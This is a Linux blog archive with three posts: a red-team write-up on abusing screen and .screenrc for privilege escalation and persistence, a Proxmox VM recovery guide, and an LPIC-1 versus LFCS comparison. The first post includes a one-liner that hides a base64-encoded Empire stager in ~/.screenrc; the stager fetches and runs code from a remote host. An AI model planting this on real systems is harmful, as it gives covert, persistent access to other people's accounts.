Category Archives: Linux

Abusing screen and .screenrc to Escalate and Maintain Access

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When it comes to playing the part of the hacker/red team in competitions like CCDC. I’m always looking for unique ways to gain and maintain access to systems. Lately I’ve toying with the idea of leveraging features in common administration tools instead of exploits or misconfigurations. My favorite of which is abusing screen and .screenrc features to establish a foothold.

Why screen?

The screen command is definitely something I think every Linux Administrator uses every day. The reason why is simple, its probably the best way to maintain your work or run longer jobs without the effort of creating a system service. This is because when the screen command issued it effective creates another terminal (TTY) independent of the current users session. So if the administrators session isn’t stable or its impractical to wait, the job won’t be affected.

Fun Fact: By default screens are actually allocated a TTY and spawned by the init process, not the current user. So the screen process, TTY, and child processes won’t show in user level process listings or the standard last, w, or who command outputs. Instead you can use the who command with the -a (all) option to also display TTYs spawned by init.

Abusing screen and .screenrc via abandoned screens

Given that the most common use case for the screen command is administrators running jobs that can’t be interrupted. Therefore it’s always worth checking to see if any screens are running when you compromise a users account. Its not that uncommon for administrators to elevate privileges or even switch users all together within a screen. If an administrator switches to root/superuser account in a screen, the screen still only allows the original spawning user access. If that’s a lower privilege user that you’ve compromised, its an easy privilege escalation case.

So you might be thinking that the administrator should have just used sudo to elevate privileges within the screen instead of switching to root/superuser. Its definitely a safer option, but not the best option because once a users password is entered for a sudo command, by default its not requested again for 15 minutes. So if you’re in the right screen at the right time, or willing to wait long enough, sudo can still be used as a means to privilege escalate as well.

You can check to see if the current user within a screen can sudo without prompt by running sudo in non-interactive mode and seeing if it errors out.

if sudo -n true 2>/dev/null; then echo "I can sudo"; else echo "I cannot sudo"; fi

Abusing screen and .screenrc via multi-user support

The alternative laid out by the developer of the screen tool is actually a rather detailed set of permissions and multi-user support for individual screens themselves. Going over the individual permissions that are available is probably out of the scope of this post. However multi-user support is actually used in cases where multi individuals need to access jobs running in a screen of a service account, but aren’t actually allowed superuser privileges.

For instances, in my consultant days we had external nmap scanning systems, all the consultants had access to scans running within screens, in case they needed to be modified or stopped. This allowed us to maintain access to all running jobs, but we weren’t required to have superuser access to switch users or elevate privileges to kill other users processes.

To use multi-user support, make sure the SUID bit is set on the screen executable and modify the individual users (~/.screenrc or global (/etc/screenrc) screenrc files. For example, if you wanted to try and maintain access to screens created by root via a compromised standard users named tester, you could include the following in /root/.screenrc file.

multiuser on
acladd tester

If screens are not being used enough to leverage changes to the .screenrc file. You can also modify one of the target users profile files to issue the screen command automatically. You can do this by adding ‘screen -RR’ to the users ~/.bashrc file or the global /etc/bashrc file. This will reattach to any existing screen or create a screen and attach to it, once login has completed.

Note: For highly secure environments its likely best to disable multi-user support in the global screenrc file. Also consider setting your global sudoers configure to timestamp_timeout=0, will require a password for every use of the sudo command. Change control and/or watchers on resource (~.*rc) and profile files might also help.

Abusing screen and .screenrc with stuff and clear

Maintaining Access with the stuff and clear technique

Leveraging multi-user support isn’t the only way of abusing screen and .screenrc to maintain access. Instead I now utilize a technique I call stuff and clear. In this technique the target users .screenrc file is modified to create a screen layer whenever a screen is executed. This arbitrary, named layer allows for the command “stuff” to send raw characters to the screen.

Luckily, the builtin printf command will handle the raw character encoding. So printf can type out shell code, send an return key press, type out the clear command, and send a final return key press. The stuff command will then effectively create the same screen pop effect that already happens when a new screen is created. So unless the user enters copy mode and scrolls up or errors occur, they are unlikely to notice.

Here is a code segment from a Empyre module I wrote for CCDC a few years ago, that does just as a described. It will write an Empyre shell to the users .screenrc file using the stuff and clear technique.

echo 'screen -t "python"' >> ~/.screenrc && printf "stuff \""'echo \\'"\"import sys,base64;exec(base64.b64decode(\\\'bU9WakhVPSdSSVRQYURSbFFwJwppbXBvcnQgc3lzLCB1cmxsaWIyO289X19pbXBvcnRfXyh7MjondXJsbGliMicsMzondXJsbGliLnJlcXVlc3QnfVtzeXMudmVyc2lvbl9pbmZvWzBdXSxmcm9tbGlzdD1bJ2J1aWxkX29wZW5lciddKS5idWlsZF9vcGVuZXIoKTtVQT0nSDNTRTIwUVlSRlZGWTFVOCc7by5hZGRoZWFkZXJzPVsoJ1VzZXItQWdlbnQnLFVBKV07YT1vLm9wZW4oJ2h0dHA6Ly8xMC4wLjAuMTAwOjgwODAvaW5kZXguYXNwJykucmVhZCgpO2tleT0nM2ViMDMwYzZhYjA5OWIwYTM1NTcxMmZlMzhkNTlmZmInO1MsaixvdXQ9cmFuZ2UoMjU2KSwwLFtdCmZvciBpIGluIHJhbmdlKDI1Nik6CiAgICBqPShqK1NbaV0rb3JkKGtleVtpJWxlbihrZXkpXSkpJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQppPWo9MApmb3IgY2hhciBpbiBhOgogICAgaT0oaSsxKSUyNTYKICAgIGo9KGorU1tpXSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCiAgICBvdXQuYXBwZW5kKGNocihvcmQoY2hhcileU1soU1tpXStTW2pdKSUyNTZdKSkKZXhlYygnJy5qb2luKG91dCkp\\\'));"'\\'"\" | python &\rclear\r"'"' >> ~/.screenrc

Fun Fact: Screen also supports not terminating windows when a screen is exited. This can be done by adding the ‘zombie kr’ line to the .screenrc file. In the case of some payload types, this would mean the shell process would still be running until an administrator killed the screen manually.

One Final Thought

Since I’m the current maintainer of linuxprivchecker, I’ve also taken the time to begin to make changes to help detect these opportunities related to abusing screen and .screenrc for privilege escalation. I hope to continue to add features to this tool and provide related blog posts like this one. These new features will likely sit in the unstable branch for some time before they make it to master. Any assistance with testing, feedback, or ideas is always welcome.

Recovering Proxmox VMs from Encrypted Raid Array

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Initial Thoughts: Blog Reboot

It has been a few years since this Blog has been active, or frankly seen the light of day, beyond some web caches I enabled awhile back. The biggest reason for the blog phasing out, was the first server I ever built (back in 2010) having a failing mother board shortly after the birth of our first child. Now, shortly after the birth of our second child and with the abundance of free time this crisis has awarded us all, I’ve decided to give the blog and my good old Proxmox server a reboot.

Recovering Raid Array

Now since I didn’t have the original working hardware and I didn’t retain good VM backups, I had to recover the VMs from just the encrypted drives. That meant the first step to beginning this journey of recovering Proxmox VMs, was dealing with an encrypted raid 1 storage array.

To begin this recovery process I simply put the two ”high-end” 120 GB SSD drives, in the new server I built to run the latest version of Proxmox. Next we need to boot up the server and use mdadm to examine the drives to identify the raid format.

lsblk # to list all the current block devices

mdadm -E /dev/sd[c-d] #use mdadm to examine

Then we can use mdadm to re-assemble the raid. In this case, since the the drives are mirrors it likely doesn’t matter, but for some individuals this will likely be a required step in order to complete a full recovery. 

mdadm --assemble /dev/md1 /dev/sd[c-d]1 # use mdadm to re-assemble
# the raid as md1

Decrypting LVM Structure

Next we need to decrypt the raid drive so we can access the logical volumes and mount them to begin recovering Proxmox VMs from the encrypted file system.

cryptsetup luksOpen /dev/md1 encrypted_pve # Open the luks encrytped device

Now that the the encrypted device has been opened and mounted as the device encrypted_pve. We can now access the volume group within the encrypted partition with standard LVM commands.

vgdisplay --short # for instance just viewing the volume group

Now if your somewhat lazy like me and doing all of this work on the a new installation of Proxmox. Your likely going to start having a bad time and encounter issues because by default, Proxmox wants its primary volume group to be named ‘pve’ and now there are two different ones with the same name. In order to avoid confusion going forward and stop our new Proxmox server from crashing, we should rename the old ‘pve’ volume group to something else.

vgdisplay | egrep -i "uuid|name|VG size" # use vgdisplay to 
# find the UUID of the VG

vgrename QiOPy3-WhF8-RYns-44dY-FKKN-8orV-bEi3m3 pve-old # use vgrename
# to simply rename the VG using the appropriate UUID

vgscan  # lastly we can use vgscan to reload all the vgs as a 
# sanity check

Recovering Proxmox VMs Config files

Now that we have access to the original LVM structure we can go about recovering VMs from the file system. To start this process we should mount the two logical volumes Proxmox has by default. These two would be the root and data logical on our old ‘pve’ volume group.

mkdir /mnt/old-data /mnt/old-root #create directories to mount
# logical volumes

mount /dev/mapper/pve--old-root /mnt/old-root # mount old pve root

mount/dev/mapper/pve--old-data /mnt/old-data # mount old pve data

Here is the point where things diverge a bit depending on what version of your recovering from and how your VMs where originally setup. Regardless there are really only two components to a given VM in the Proxmox world, a config file and a disk image.

To recover the VM config files in newer versions of Proxmox you would just go into the /mnt/old-root/etc/pve/qemu-server/ directory. There you would likely see a bunch of VM configuration file named after the VM ID number. Generally speaking you should be able to copy these configs over to your new Proxmox server without too much of an issue.

cd /mnt/old-root/etc/pve/qemu-server/ # go to the mounted config 
# directory

cp 100.conf /etc/pve/qemu-server/

However, if your like me and you are looking around for these VMID.conf files and they aren’t on the old root filesystem. That’s because in older versions Proxmox the VM configs were stored in a sqlite database. Instead we can use the sqlite3 command on the pve-cluster config database in order to view all the VM config files and extract the ones we want directly to workable config files.

sqlite3 /mnt/old-root/var/lib/pve-cluster/config.db \
'SELECT * FROM tree;' # use sqlite3 to view all of the 
# config data in the cluster config database

sqlite3 /mnt/old-root/var/lib/pve-cluster/config.db \
'SELECT data FROM tree WHERE name = "100.conf";' \
> /etc/pve/qemu-server/100.conf 
# use a sql query to extract just the config file data 
# we need and write it to the appropriate file/code>

Recovering Proxmox VMs Raw Disks and Disk Images

When it comes to VM disk images they can be either raw, meaning they are logical volumes provisioned within a volume group using LVM or disk image files like qcow2's. Regardless of which type of VM disk image or if like me and had both. The path forward is basically the same, just copy it over to appropriate place on the never server.

In the case of raw disks, all we really need to do is copy the logical volume that was provisioned in the old volume group over to the new volume group. To do this we need to create a new logical volume on the the new volume group with the same size and name. Then use dd to copy over the raw data from the old logical volume to the new one.

lsblk # look at all our physical and logical devices to
# make sure we use the right devices

lvcreate -n vm-100-disk-1 -L 10G pve # Create the new logical 
# volume with the same name and size

# dd if=/dev/pve-old/vm-100-disk-1 bs=4096 of=/dev/pve/vm-100-disk-1 
# Use dd to complete a bit by bit copy of the LV data, ! Caution !

If you need to deal with the VM disk files, its pretty straight forward as well. Just go into the old-data directory we mounted and copy the disk image files over to the new storage location. These can be a various formats like qcow2 or vmdk, but the process is the same. 

mkdir /var/lib/vz/images/100 # create the folder for your VM

cp /mnt/old-data/images/100/vm-100-disk-1.qcow2  \
/var/lib/vz/images/100/vm-100-disk-1.qcow2 
# copy over the disk image to appropriate local folder

Getting VMs to Boot

At this point Proxmox should have seen the VM configuration files added to the local nodes configuration directory and it should be visible in web UI and/or qm at the command line. The very last step in recovering Proxmox VMs is making sure your VM configuration is correct so it can boot up. I could probably do research and a whole blog post on this topic alone. So its kind of difficult to provide detailed examples of what could be wrong with a given configuration file. Since the configuration files are from working VMs, most likely issues are either device statements or the boot order.

The boot order can be forced with the bootdisk option, to a given device, such as ide0. Devices are registered in the config file as device statements like 'ide0: local:vm-100-disk-1'. Make sure your device statements are correct and your cdrom is empty such as 'ide2: none,media=cdrom' to avoid boot issues. For other errors make be sure review the documentation or ask in the comments bellow.

Linux Administration Certifications: LPIC 1 and LFCS

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LPIC 1 and LFCS

TLDR; The LPIC 1 and LFCS certifications can both be used to validate your skills, however the LFCS provides a robust and uniquely hands-one, testing approach.

I recently passed the LPIC 1 (Linux Professional Institute Certified System Administrator) and LFCS (Linux Foundation Certified System Administrator) certification exams. I’m now planning to pursue the LPIC 2 and LFCE certifications this coming year. Several individuals have approached me interested in hearing more about my experiences and some of big differences between the LPIC 1 and LFCS. I’ll attempt to address those questions here and also share my opinions on the perceived value in the market place today.

Big Differences

The biggest differences between the LPIC 1 and LFCS certifications, definitely come down to the testing methods they each use. The LPIC 1 is a standard multiple choice style examination, with a few fill the blank questions. The LPIC features two exams with 50 knowledge base and practical application question, over one and half hours. The LFCS on the other hand, is a interactive practical applications exam. Wherein the tester is given 40 practical multi-step tasks, within an actual Linux terminal, with two hours to complete as many as possible.

Another major difference between the LPIC 1 and LFCS is how the testing is conducted. The two LPIC 1 exams are proctored by Pearson Vue, so they take place in your standard testing center. Since it’s a standard multiple choice exam, in a standard testing center, you will receive your test results right after completing the exam. You are scored based on whether or not you select the correct answers to the exam questions and the respective weight in each of the tested categories. The LFCS is a online exam which utilizes a web cam, a screen share, a task portal, and a live connection to a Linux system to conduct the exam. Throughout the exam you have terminal access to your own Linux virtual machine, to complete your various tasks.  The entire system is graded upon completion and delays receiving your final score. Thus your score is based on whether each step of the tasks and the tasks themselves are completed correctly. Its also rumored, that points lost on one task can be recovered on others based on the methods used, cleanliness, and overall efficiency.

Difficulty Level

The difficulty level of the LPIC 1 and LFCS is heavily debated, however I think it comes down to how you study and your experience within the Linux terminal. That being said, the LPIC 1 is largely a test of base knowledge, so if one puts forth the time and effort to review some of the coursework out there, they shouldn’t have any problem completing the exam. I honestly don’t believe your experience in the Linux terminal is going to help you out anyone more then one of the official books. The exam is all about knowing the command names and what they do. On the other hand, the LFCS exam, and its largely based on weather or not you can complete a business operations related task, in a timely manner. There is no official book for the LFCS exam, although there is online coursework which introduces you to commands and then provides lab activities for completion all on your own. Having completed all of the online course work, I believe its likely sufficient to pass the exam. However I think the real world Linux experience would be quite a bit more useful during the LFSC exam, simple because your being indirectly scored on timeliness and efficiency. Addtionally, on top of having to understand what the names of commands are and what they do, one also needs to understand how to effectively use each command to successfully pass the LFSC exam. Overall I would say the LFCS is going to be far more difficult for those newer to Linux, if only because of more intimidating structure of the exam and the review of ones efficiency.

Market Value

When it comes to the market value of the LPIC 1 and LFCS certifications, I think the total value depends on your individual goals. For instances, if your goal is to get your foot in the door at a large institution, I would recommend the LPIC 1 since it has been around longer and thus has a greater chance of being recognized by a recruiter or HR. The LPIC 1 is also going to be better if your goal is to continue on and become more specialized within the Linux space. If your goal is instead to provide validation of your skills and experience to a future or current employer I would highly recommend the LFCS. In addition to the certification being run by the Linux Foundation themselves, they now have a partnership with Microsoft. This new partnership creates a great opportunity for those working within more diverse environments, by allowing for canadits to take both Linux foundation and Microsoft certifications to become specialized in mix environments and/or cloud. Overall I think if your really trying to project your worth to the market, the LPIC 1 is a better bet, simply because its been around longer and currently has more recognize then LFCS. However, I’d bet the LFCS will soon take its place at the top, due to the growing relationships being fostered by the Linux Foundation.

Honorable Mentions

Although I have not attempted these exams, because they are distribution specific, the OCA (Oracle Certified Administrator) and the RHCSA (Red Hat Certified System Administrator) both seem to have more visibility in the market place. This is likely due to the huge brand recognition associated with these respective certifications. If your already employed with an organization that mostly utilizes either of these distributions, they may provide more bang for your buck.